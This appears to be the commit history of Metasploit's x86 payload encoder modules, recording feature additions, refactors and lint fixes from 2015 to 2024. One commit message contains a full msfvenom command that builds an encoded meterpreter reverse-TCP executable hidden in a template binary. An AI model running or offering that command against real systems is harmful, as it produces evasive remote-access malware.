h00die
04c0dede5e
fix spelling in some modules
2024-01-07 14:06:31 -05:00
Arthur RAOUT
7b7377257e
fixed 2 rubocop offenses
2023-03-02 13:08:09 +01:00
Arthur RAOUT
e178226efa
Merge branch 'New_x86_xor_encoder' of github.com:araout42/metasploit-framework into New_x86_xor_encoder
2023-03-02 12:31:21 +01:00
Arthur RAOUT
1461f9fb03
slight changes in the comments
2023-03-02 12:30:38 +01:00
Professor Araout
83bcd1cc1b
Fix typo in the comments line 41
...
Co-authored-by: Brendan <bwatters@rapid7.com >
2023-03-02 11:50:56 +01:00
Arthur RAOUT
d83c2c3a5d
Remove useless loop that select reg1, because we now have push/pop all regs to preserve them
2023-01-04 17:40:22 +01:00
Arthur RAOUT
676fda73b1
Remove useless loop that select reg1, because we now have push/pop all regs to preserve them
2023-01-04 17:39:59 +01:00
Arthur RAOUT
7494318ec4
Fix offset from entrypoint
2023-01-04 17:36:55 +01:00
Arthur RAOUT
93f579b180
Fixed shuffling of registers with generate preserve reg function
2023-01-04 17:33:24 +01:00
Arthur RAOUT
0a99e2be6a
Fixed 3 offense rubocop/msftidy
2023-01-04 17:25:25 +01:00
Arthur RAOUT
bdf5f8fbe4
Added preserver register through random order push and pop of the registers, change name to xor_poly.rb
2023-01-04 17:21:48 +01:00
Professor Araout
0a53cab369
Update xor.rb
...
Remove outdated comments
2022-12-20 17:03:50 +01:00
Arthur RAOUT
45d0eb8bb4
Add encoder module x86/xor at path modules/encoder/x86/xor.rb, Rubocop clean, msftidy clean, No documentation written
2022-12-20 15:54:01 +01:00
gwillcox-r7
1d3f0be495
RuboCop unicode_upper.rb and unicode_mixed.rb
2020-05-02 21:51:05 -05:00
gwillcox-r7
123d33679a
Fix Unicode encoders to meet RuboCop standards
2020-05-02 21:36:10 -05:00
Paolo 'VoidSec' Stagno
5db675a683
changed in OptString
2020-05-02 15:14:38 +02:00
Paolo 'VoidSec' Stagno
aeebe6e0f1
fixing text description
2020-05-01 16:48:43 +02:00
Paolo 'VoidSec' Stagno
90304c5ced
Unicode Encoders, 'Buffer Register' fixes
...
https://github.com/rapid7/metasploit-framework/issues/13372
2020-05-01 16:41:30 +02:00
Francesco Soncina
ff2d048530
fixes: update x86/xor_dynamic for #11100
2018-12-10 22:45:45 +01:00
bwatters-r7
08ec8e1ef9
Land #10553 , add x86/xor_dynamic and x64/xor_dynamic encoders
...
Merge branch 'land-10553' into upstream-master
2018-10-30 09:56:15 -05:00
stefano118
2ba53143f1
refactor: optimized stub
...
refactor: optimized stub
refactor: optimized stub
2018-09-01 03:17:17 +02:00
stefano118
6c1a83d464
refactor: snake case
2018-09-01 03:17:17 +02:00
stefano118
27d7d17deb
refactor: beautify stub
...
refactor: beautify stub
refactor: beautify stub
refactor: beautify stub
2018-09-01 03:17:16 +02:00
phra
6b32bdbba9
feat: add x86 xor_dynamic encoder
2018-09-01 03:17:16 +02:00
stefano118
93e9253aeb
Update countdown.rb
2018-09-01 02:40:26 +02:00
phra
a282d2a8b1
fix: rescue rex runtime errors in x86/nonalpha
2018-08-30 01:22:24 +02:00
phra
2616472025
fix: rescue rex runtime errors in x86/countdown
2018-08-30 01:22:24 +02:00
Brent Cook
6300758c46
use https for metaploit.com links
2017-07-24 06:26:21 -07:00
g0tmi1k
b8d80d87f1
Remove last newline after class - Make @wvu-r7 happy
2017-07-19 11:19:49 +01:00
g0tmi1k
4720d1a31e
OCD fixes - Spaces
2017-07-14 08:46:59 +01:00
g0tmi1k
fd843f364b
Removed extra lines
2017-07-14 08:17:16 +01:00
g0tmi1k
424522147e
OCD fixes - Start of *.rb files
2017-07-13 23:53:59 +01:00
William Vu
64452de06d
Fix msf/core and self.class msftidy warnings
...
Also fixed rex requires.
2017-05-03 15:44:51 -05:00
Christian Mehlmauer
0a398a59c5
change description
2017-03-30 20:06:23 +02:00
agix
9bb5577320
Forget to push the fix for msftidy...
2016-06-23 15:23:40 +02:00
agix
378208bc3d
Move service stub in x86 encoder to be easily used.
...
Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe
2016-06-23 14:56:03 +02:00
James Lee
1375600780
Land #6644 , datastore validation on assignment
2016-03-17 11:16:12 -05:00
Christian Mehlmauer
3123175ac7
use MetasploitModule as a class name
2016-03-08 14:02:44 +01:00
Brent Cook
f703fa21d6
Revert "change Metasploit3 class names"
...
This reverts commit 666ae14259 .
2016-03-07 13:19:55 -06:00
Brent Cook
44990e9721
Revert "change Metasploit4 class names"
...
This reverts commit 3da9535e22 .
2016-03-07 13:19:48 -06:00
Brent Cook
0e46cc0259
Revert "change remaining class names"
...
This reverts commit 62217fff2b .
2016-03-07 13:19:42 -06:00
Christian Mehlmauer
62217fff2b
change remaining class names
2016-03-07 09:58:21 +01:00
Christian Mehlmauer
3da9535e22
change Metasploit4 class names
2016-03-07 09:57:22 +01:00
Christian Mehlmauer
666ae14259
change Metasploit3 class names
2016-03-07 09:56:58 +01:00
Brent Cook
c7c0e12bb3
remove various module hacks for the datastore defaults not preserving types
2016-03-05 23:11:39 -06:00
Spencer McIntyre
24290dc169
Address x86/Bmp polyglot encoder feedback
2016-01-07 10:23:32 -05:00
Spencer McIntyre
cca0ba3efe
Add an x86/Bitmap polyglot encoder
2016-01-05 23:17:34 -05:00
Brent Cook
55f6fe7037
Land #5510 , update x86/alpha* encoders to be SaveRegister aware
2015-10-01 15:07:10 -05:00
HD Moore
cea8605365
Fix #5596 by catching RuntimeError from Rex::Poly
2015-06-24 15:17:33 -05:00
jvazquez-r7
f8623ebdda
Add support for stage encoding to alpha_upper
2015-06-08 14:35:48 -05:00